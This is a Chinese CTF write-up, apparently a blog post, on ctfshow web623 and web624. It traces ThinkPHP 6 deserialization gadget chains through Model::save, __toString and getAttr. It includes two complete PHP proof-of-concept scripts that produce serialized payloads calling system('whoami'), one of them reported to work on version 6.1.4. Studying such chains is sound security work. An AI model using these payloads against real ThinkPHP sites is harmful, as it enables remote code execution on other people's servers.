官方手册 本文为了做出ctfshow的thinkphp最后的TP6反序列化,利用网上知识,对反序列化进行复现挖掘
上一集thinkphp5.1.38反序列化
web623
具体版本我也不知道,首先环境弄好
1 2 3
| composer create-project topthink/think tp6 cd tp6 php think run
|
然后访问发现能够正常启动,就说明环境是对的,再把东西放在小皮里面,创建一个网站,选择public
为网站根目录即可,thinkphp都是这样,那么开始全局搜索入口点,找了一会发现仅有一个可以利用的vendor/topthink/think-orm/src/Model.php
中找到了
/QQ20250305-142702.jpg)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public function save(array $data = [], string $sequence = null): bool { $this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { return false; }
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) { return false; }
$this->trigger('AfterWrite');
$this->origin = $this->data; $this->get = []; $this->lazySave = false;
return true; }
|
因为没有传入值,$this->setAttrs($data);
不用看,由于不可能返回False,这里必须要跳出,所以empty也不用看了,看了一下这个函数trigger
,是进行了
/QQ20250305-153520.jpg)
但是$this->withEvent
默认为1,所以这里就是进行一个函数的调用,但是我们要的是true,所以$this->withEvent
要为False,$result
必须为True,所以跟进一下这两个方法,
/QQ20250306-093402.jpg)
checkData()
没有返回,跟进$this->getChangedData()
/QQ20250306-094333.jpg)
$this->force
为true
时,强制返回所有当前数据,就可以把值给赋值到$data
了,
继续跟进$this->checkAllowFields()
,由于$this->field
确实为空,所以
/QQ20250306-094809.jpg)
/QQ20250306-095859.jpg)
这里使用.
进行拼接,会触发__toString()
,我们就可以利用tp5的部分链子了
1 2 3
| Conversion::__toString() Conversion::toJson() Conversion::toArray()
|
没有其他可利用的方法,所以就是这里了
/QQ20250306-101455.jpg)
$data = array_merge($this->data, $this->relation);
将这个合并为键值对,继续跟进
/QQ20250306-102031.jpg)
/QQ20250306-102250.jpg)
/QQ20250306-102500.jpg)
$this->convertNameToCamel
这里为空,$this->strict
默认也是true,所以直接return,所以$fieldName
与$data
一致,就直接返回了,那么getAttr()
里面的$value
就是我们传入的$data
。跟进方法发现
1 2
| $closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data);
|
这里就能直接RCE了,参数啥的太混了,自己慢慢写,能写出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php namespace think\model\concern; trait Attribute { private $data = ["key"=>"whoami"]; private $withAttr = ["key"=>"system"]; } namespace think; abstract class Model { use model\concern\Attribute; private $lazySave = true; protected $withEvent = false; private $exists = true; private $force = true; protected $name; public function __construct($obj=""){ $this->name=$obj; } } namespace think\model; use think\Model; class Pivot extends Model {} $a=new Pivot(); $b=new Pivot($a); echo urlencode(serialize($b));
|
web624
但是我是6.1.4来进行的测试也成功了,最后的方法变成了这个样子
/QQ20250306-105611.jpg)
由于加入了闭包,所以不能直接命令执行了,
/QQ20250306-105938.jpg)
跟进另外一个方法,看到这里很容易进行命令执行,但是前面的方法怎么过呢
in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])
进行一个数组赋值就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php
namespace think\model\concern;
trait Attribute { private $data = ["key" => ["key1" => "whoami"]]; private $withAttr = ["key"=>["key1"=>"system"]]; protected $json = ["key"]; } namespace think;
abstract class Model { use model\concern\Attribute; private $lazySave; protected $withEvent; private $exists; private $force; protected $table; protected $jsonAssoc; function __construct($obj = '') { $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->table = $obj; $this->jsonAssoc = true; } }
namespace think\model;
use think\Model;
class Pivot extends Model { } $a = new Pivot(); $b = new Pivot($a);
echo urlencode(serialize($b));
|
可以看到就变了这个部分,然后就通杀了,但是这怎么这么难啊,根本想不到